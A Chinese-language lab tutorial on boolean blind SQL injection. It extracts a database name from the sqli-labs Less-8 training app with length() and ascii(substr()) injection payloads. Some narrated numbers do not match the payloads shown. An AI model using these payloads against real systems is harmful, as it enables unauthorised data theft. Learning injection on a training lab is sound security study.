当存在SQL注入时,攻击者无法通过页面或请求的返回信息,回显或获取到SQL注入语句的执行结果,这种情况就叫盲注。
布尔型盲注就是利用返回的True或False来判断注入语句是否执行成功。它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
什么情况下考虑使用布尔盲注?
- 该输入框存在注入点。
- 该页面或请求不会回显注入语句执行结果,故无法使用UNION注入。
- 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息,故无法使用报错注入。
布尔盲注是在SQL注入时没有回显和报错,无法使用联合查询和报错注入时的手段,它通过返回的布尔值true或false来判断注入语句是否成功,所以被叫作布尔盲注。
安装sqli-labs数据库后,在虚拟机中打开链接:http://127.0.0.1/sqli-labs-master/Less-8/,以第8关为例,用布尔盲注获取数据库名称:
获取数据库名字的字符长度:
输入下面代码正常回显,说明数据库名称字符长度大于0
?id=2' and length(database())>0 --+
输入下面代码无回显,说明数据库名称字符长度小于10
?id=2' and length(database())>10 --+
最后经过测试确定数据库名称字符长度为8
?id=2' and length(database())=8 --+
用ASCII码获取数据库名称的字符
字母在计算机中可以转换成ASCII码,在SQL语句中也能判断长度,从而确定数据库名称的字符范围,进而猜测具体字符
substr函数:截取字符
首字符:
下面两条命令120无回显,110有回显
?id=2' and ascii(substr((select database()),1,1))>120 --+
?id=2' and ascii(substr((select database()),1,1))>110 --+
猜测ASCII码值为115,有回显,116无回显,所以正确的ASCII码是115
?id=2' and ascii(substr((select database()),1,1))=115 --+
运行结果:
查看ASCII码对照表,确认数据库首字母为s。
第二个字符:
下面两条命令110无回显,109有回显
?id=2' and ascii(substr((select database()),2,1))>105 --+
?id=2' and ascii(substr((select database()),2,1))>102 --+
猜测ASCII码值为100,100无回显,101有回显,正确ASCII码为101,第二个字母为e
?id=2' and ascii(substr((select database()),2,1))=101 --+
运行结果:
……
最后一个字符:
125无回显,120有回显
?id=2' and ascii(substr((select database()),8,1))>125 --+
?id=2' and ascii(substr((select database()),8,1))>120 --+
猜测ASCII值为121,121有回显,122无回显,正确ASCII码为121,最后一个字母为y
?id=2' and ascii(substr((select database()),8,1))=121 --+
运行结果:
数据库名称为:
security